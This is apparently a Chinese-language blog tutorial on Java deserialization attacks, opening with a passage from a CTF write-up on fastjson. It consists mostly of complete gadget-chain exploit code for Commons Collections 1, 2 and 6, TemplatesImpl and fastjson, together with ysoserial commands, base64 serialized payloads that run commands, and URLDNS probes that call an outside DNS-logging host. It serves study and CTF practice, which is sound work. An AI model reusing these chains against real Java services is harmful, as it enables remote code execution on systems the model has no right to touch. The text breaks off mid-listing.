 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static void main(String[] args) throws Exception{

 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
 clazz.addConstructor(constructor);
 byte[][] bytes = new byte[][]{clazz.toBytecode()};

 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", bytes);
 setValue(templates, "_name", "1ue");
 setValue(templates, "_tfactory", null);

 List<Object> list = new ArrayList<>();
 list.add(templates);

 JSONArray jsonArray = new JSONArray();
 jsonArray.add(templates);

 BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 Field valfield = val.getClass().getDeclaredField("val");
 valfield.setAccessible(true);
 valfield.set(val, jsonArray);
 list.add(val);

 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
 objectOutputStream.writeObject(list);
 System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
 ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
}

阿里云ctf ezbean

fastjson1.2.60，jdk 1.8.0_121（可以ldap），有tomcat

wp给的链子差不多但是本地就不通了，报默认构造器不存在，不解，上面的通杀链可以通

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


package com.ctf.ezser;

import com.alibaba.fastjson.JSONArray;
import com.ctf.ezser.bean.MyBean;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Poc {
 public static void setValue(Object obj, String name, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static void main(String[] args) throws Exception {
 RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/tostil"),null);
 MyBean myBean = new MyBean("nm","ss",rmiConnector);
 JSONArray jsonArray = new JSONArray();
 jsonArray.add(myBean);
 BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 Field valfield = val.getClass().getDeclaredField("val");
 valfield.setAccessible(true);
 valfield.set(val, jsonArray);
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
 objectOutputStream.writeObject(val);
 System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
}

default constructor not found. class javax.management.remote.rmi.RMIConnector

跑了下nu1l的exp依旧报默认构造器不存在，不解

Java 反序列化漫谈

Thu, 13 Apr 2023 00:00:00 +0000

Java 反序列化漫谈

1 环境准备

首先安装java

windows

https://www.oracle.com/java/technologies/downloads/#java8-windows

linux

sudo apt install openjdk-8-jre-headless

sudo apt install openjdk-8-jdk-headless

卸载java

先检查是否安装，命令：dpkg --list | grep -i jdk
移除openjdk包，命令：apt-get purge openjdk*
卸载 OpenJDK 相关包，命令：apt-get purge icedtea-* openjdk-*
再次检查是否卸载成功，命令：dpkg --list | grep -i jdk
卸载完成

安装java

https://www.oracle.com/java/technologies/downloads/#java8-linux
vim命令打开/etc/profile vim /etc/profile 在文件中加入
JAVA_HOME=/usr/local/jdk1.7.0_71 CLASSPATH=.:$JAVA_HOME/lib.tools.jar PATH=$JAVA_HOME/bin:$PATH export JAVA_HOME CLASSPATH PATH

安装idea https://www.jetbrains.com/idea/download/#section=windows

创建项目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


public class DoTest {
 public static void main(String[] args) {
 System.out.println(System.getProperty("user.home"));
 System.out.println(System.getProperty("java.version"));
 System.out.println(System.getProperty("os.name"));
 System.out.println(System.getProperty("java.vendor.url"));
 }
}
// output 
C:\Users\username
1.8.0_321
Windows 10
http://java.oracle.com/

2 反射

反射就是Reflection，Java的反射是指程序在运行期可以拿到一个对象的所有信息。

在正常情况下，除了系统类，如果我们想拿到一个类，需要先 import 才能使用。而使用forName就不需要，这样对于我们的攻击者来说就十分有利，我们可以加载任意类。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


public class Reflection {
 public static void main(String[] args) throws Exception {
 execute("Test","testPrint");
 }
 public static void execute(String className, String methodName) throws Exception {
 Class clazz = Class.forName(className);
 }
}
class Test{
 static {
 try {
 Class clazz = Class.forName("java.lang.Runtime");
 clazz.getMethod("exec", String[].class).invoke(clazz.getMethod("getRuntime").invoke(clazz),new String[][]{{"cmd.exe","/c","calc"}});
 } catch (Exception e){
 e.printStackTrace();
 }
 }
}

ProcessBuilder，我们使用反射来获取其构造函数，然后调用 start() 来执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


public class Reflection02 {
 public static void main(String[] args) {
 try {
 Class clazzTest = Class.forName("Test2");
 Class clazz = Class.forName("java.lang.ProcessBuilder");
 // ((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("cmd.exe", "/c", "calc"))).start();
 // new ProcessBuilder("calc.exe").start();
 // clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("cmd.exe","/c","calc")));
 clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"powershell.exe","-c","calc|calc"}}));
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
}
class Test2{
 static {
 System.out.println("test2");
 }
}

用 getDeclaredConstructor 来获取这个Runtime的构造方法来实例化对象，进而执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


public class Reflection03 {
 public static void main(String[] args) {
 try {
 Class clazz = Class.forName("java.lang.Runtime");
 Class constructor = Class.forName("java.lang.reflect.Constructor");
 Constructor m = clazz.getDeclaredConstructor();
 m.setAccessible(true);
 clazz.getMethod("exec", String.class).invoke(m.newInstance(),"calc.exe");
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
}
class Test3 {
 static {
 System.out.println("test3");
 }
}

3 RMI

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


//RMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
 public interface IRemoteHelloWorld extends Remote {
 public String hello() throws RemoteException;
 }

 public class RemoteHelloWorld extends UnicastRemoteObject implements
 IRemoteHelloWorld {
 protected RemoteHelloWorld() throws RemoteException {
 super();
 }

 public String hello() throws RemoteException {
 System.out.println("call from");
 return "Hello world";
 }
 }

 private void start() throws Exception {
 System.setProperty("java.rmi.server.hostname","vpsip");
 RemoteHelloWorld h = new RemoteHelloWorld();
 // RemoteHelloWorld skeleton = (RemoteHelloWorld) UnicastRemoteObject.exportObject(h, 11041);
 LocateRegistry.createRegistry(11099);
 Naming.rebind("rmi://127.0.0.1:11099/Hello", h);
 }

 public static void main(String[] args) throws Exception {
 new RMIServer().start();
 }
}

//Client.java
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.time.LocalDateTime;

public class Client {
 public static void main(String[] args) throws RemoteException, NotBoundException {
 // 连接到服务器，端口11099:
 Registry registry = LocateRegistry.getRegistry("vpsip", 11099);
 // 查找名称为"WorldClock"的服务并强制转型为WorldClock接口:
 WorldClock worldClock = (WorldClock) registry.lookup("WorldClock");
 // 正常调用接口方法:
 LocalDateTime now = worldClock.getLocalDateTime("Asia/Shanghai");
 // 打印调用结果:
 System.out.println(now);
 }
}

其中， java.rmi.server.hostname 是服务器的IP地址，远程调用时需要根据这个值来访问RMI Server。

4 反序列化

简单的序列化与反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


//SerializeDemo.java
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class SerializeDemo {
 public static void main(String[] args) throws Exception {
 Person person = new Person("L1ao",3);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(person);
 byte[] encoded = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
 System.out.println(new String(encoded));
 }
}
class Person implements java.io.Serializable {
 public String name;
 public int age;

 Person(String name, int age) {
 this.age = age;
 this.name = name;
 }
}

//DeserializeDemo.java
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class DeserializeDemo {
 public static void main(String[] args) throws Exception {
 String b64 = "rO0ABXNyAAZQZXJzb26fU5kJESsv1QMAAkkAA2FnZUwABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAAAAN0AARMMWFvdAAQVGhpcyBpcyBhIG9iamVjdHg=";
 byte[] bytes = Base64.getDecoder().decode(b64);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
 Person p = null;
 p = (Person) in.readObject();
 in.close();
 System.out.println("name:" + p.name +" age:" + p.age);
 }
}

URLDNS

yso示例

1

java -jar ysoserial.jar URLDNS "http://bb81c2a9.dns.1433.eu.org"|base64

使⽤Java内置的类构造，对第三⽅库没有依赖
在⽬标没有回显的时候，能够通过DNS请求得知是否存在反序列化漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


//URLDemo.java 示范
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

/* * Gadget Chain:
 * HashMap.readObject()
 * HashMap.putVal()
 * HashMap.hash()
 * URL.hashCode()
 * */
public class URLDemo {

 public static void main(String[] args) throws Exception {
 //Ser();
 DeSer();
 }
 static public void DeSer() throws Exception {
 String b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAGDc2OGExODkyLmRucy4xNDMzLmV1Lm9yZ3QAAHEAfgAFdAAEaHR0cHB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAANF4";
 byte[] bytes = Base64.getDecoder().decode(b64);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
 in.readObject();
 }

 static public void Ser() throws Exception {
 HashMap hashmap = new HashMap();
 URL url = new URL("http://768a1892.dns.1433.eu.org");
 Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
 filed.setAccessible(true);
 filed.set(url, 209);
 hashmap.put(url, 209);
 filed.set(url, -1);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(hashmap);
 byte[] encoded = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
 System.out.println(new String(encoded));
 }
}

Collections1

安装 Java JDK 1.7

创建 Maven项目添加依赖

1
2
3
4
5
6
7


<dependencies>
 <dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.1</version>
 </dependency>
</dependencies>

TransformedMap版

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


//CommonCollections1.java TransformedMap版
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Encoder;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[] { String.class, Class[].class },
 new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke",
 new Class[] { Object.class, Object[].class },
 new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec",
 new Class[] { String.class },
 new String[] {"calc.exe" }),
 };
 Transformer transformerChain = new ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 innerMap.put("value","xxxx");
 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 Object obj = constructor.newInstance(Retention.class, outerMap);

 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(obj);
 BASE64Encoder b64 = new BASE64Encoder();
 String encode = b64.encode(byteArrayOutputStream.toByteArray());
 String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 System.out.println(msg);
 }
}

//CommonCollectionsDeserializeDemo1.java
import sun.misc.BASE64Decoder;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
public class CommonCollectionsDeserializeDemo1 {
 public static void main(String[] args) throws Exception{
 String b64str = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGQAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABlzcQB+ABF1cQB+ABYAAAACcHVxAH4AFgAAAAB0AAZpbnZva2V1cQB+ABkAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAWc3EAfgARdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGQAAAAFxAH4AHnNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWV0AAR4eHh4eHh2cgAeamF2YS5sYW5nLmFubm90YXRpb24uUmV0ZW50aW9uAAAAAAAAAAAAAAB4cA==";
 BASE64Decoder b64 = new BASE64Decoder();
 byte[] bytes = b64.decodeBuffer(b64str);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
 in.readObject();
 }
}

Java对象代理

示范

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


//ExampleInvocationHandler.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;


public class ExampleInvocationHandler implements InvocationHandler {
 protected Map map;

 public ExampleInvocationHandler(Map map) {
 this.map = map;
 }
 @Override
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 if (method.getName().compareTo("get") == 0) {
 System.out.println("HOOK Method: " + method.getName());
 return "Hacked by L1ao";
 }
 return method.invoke(this.map, args);
 }
}
//AppTest.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class AppTest {
 public static void main(String[] args) throws Exception {
 InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
 proxyMap.put("hello","world");
 String result = (String) proxyMap.get("hello");
 System.out.println(result);
 }
}
/*
* 运行AppTest输出:
* HOOK Method: get
* Hacked by L1ao
* */

LazyMap版

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


//CommonCollections1.java LazyMap版
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Encoder;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[] { String.class, Class[].class },
 new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke",
 new Class[] { Object.class, Object[].class },
 new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec",
 new Class[] { String.class },
 new String[] {"powershell -c \"calc|calc\"" }),
 };
 Transformer transformerChain = new ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 innerMap.put("value","xxxx");
 Map outerMap = LazyMap.decorate(innerMap, transformerChain);

 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler) ;
 handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(handler);
 BASE64Encoder b64 = new BASE64Encoder();
 String encode = b64.encode(byteArrayOutputStream.toByteArray());
 String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 System.out.println(msg);
 }
}

yso命令

1

java -jar ysoserial.jar CommonsCollections1 'powershell -c "calc|calc"' |base64

Collections2

java.util.PriorityQueue

org.apache.commons.collections4.comparators.TransformingComparator

Transformer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.Base64;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CommonCollections2 {

 public static void main(String[] args) throws Exception {
 Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer(
 "getMethod",
 new Class[]{String.class, Class[].class},
 new Object[]{"getRuntime", new Class[0]}
 ),
 new InvokerTransformer(
 "invoke",
 new Class[]{Object.class, Object[].class},
 new Object[]{null, new Object[0]}
 ),
 new InvokerTransformer(
 "exec",
 new Class[]{String.class},
 new String[]{"calc.exe"}
 )
 };

 Transformer transformerChain = new ChainedTransformer(fakeTransformers);
 Comparator comparator = new TransformingComparator(transformerChain);

 PriorityQueue queue = new PriorityQueue(2, comparator);
 queue.add(1);
 queue.add(2);

 setFieldValue(transformerChain, "iTransformers", transformers);
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(queue);
 oos.close();
 String barrBase64 = Base64.getEncoder().encodeToString(barr.toByteArray());
 System.out.println(barrBase64);
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(barrBase64)));
 Object o = (Object) ois.readObject();
 }

 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
}

TemplatesImpl(基于CC2)

在禁用Transformer数组时

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63


package org.example;


import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Comparator;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CommonCollections22 {

 public static void main(String[] args) throws Exception {

 TemplatesImpl templatesImplObj = new TemplatesImpl();
 setFieldValue(templatesImplObj, "_bytecodes", new byte[][] {getBytescode(HelloTemplatesImpl.class)});
 setFieldValue(templatesImplObj, "_name", "HelloTemplatesImpl");
 setFieldValue(templatesImplObj, "_tfactory", new TransformerFactoryImpl());

 Transformer transformer = new InvokerTransformer("toString",null,null);
 Comparator comparator = new TransformingComparator(transformer);

 PriorityQueue queue = new PriorityQueue(2, comparator);
 queue.add(templatesImplObj);
 queue.add(templatesImplObj);

 setFieldValue(transformer, "iMethodName", "newTransformer");
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(queue);
 oos.close();
 String barrBase64 = Base64.getEncoder().encodeToString(barr.toByteArray());
 System.out.println(barrBase64);
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(barrBase64)));
 Object o = (Object) ois.readObject();
 }

 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static byte[] getBytescode(Class<?> clazz) throws Exception {
 String className = clazz.getName().replace('.', '/') + ".class";
 URL classUrl = clazz.getClassLoader().getResource(className);
 try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) {
 byte[] buffer = new byte[4096];
 int n;
 while ((n = in.read(buffer)) > 0) {
 out.write(buffer, 0, n);
 }
 byte[] classBytes = out.toByteArray();
 return classBytes;
 }
 }
}

Collections6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74


package com.sec.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Encoder;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
 * @author L1ao
 * @version 1.0
 */
public class CommonCollections6 {
 public static void main(String[] args) throws Exception {
 Transformer[] fakeTransformers = new Transformer[]{
 new ConstantTransformer(1)
 };
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[] { String.class, Class[].class },
 new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke",
 new Class[] { Object.class, Object[].class },
 new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec",
 new Class[] { String.class },
 new String[] {"calc.exe" }),
 };
 Transformer transformerChain = new ChainedTransformer(fakeTransformers);

 Map innerMap = new HashMap();
 Map outerMap = LazyMap.decorate(innerMap, transformerChain);


 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");

 Map expMap = new HashMap();
 expMap.put(tiedMapEntry,"value");

 outerMap.remove("key");

 Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
 f.setAccessible(true);
 f.set(transformerChain,transformers);


 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(expMap);
 objectOutputStream.close();


 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
 Object o = (Object)ois.readObject();

 BASE64Encoder b64 = new BASE64Encoder();
 String encode = b64.encode(byteArrayOutputStream.toByteArray());
 String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 System.out.println(msg);
 }
}

TemplatesImpl(基于CC1)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83


package com.sec.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
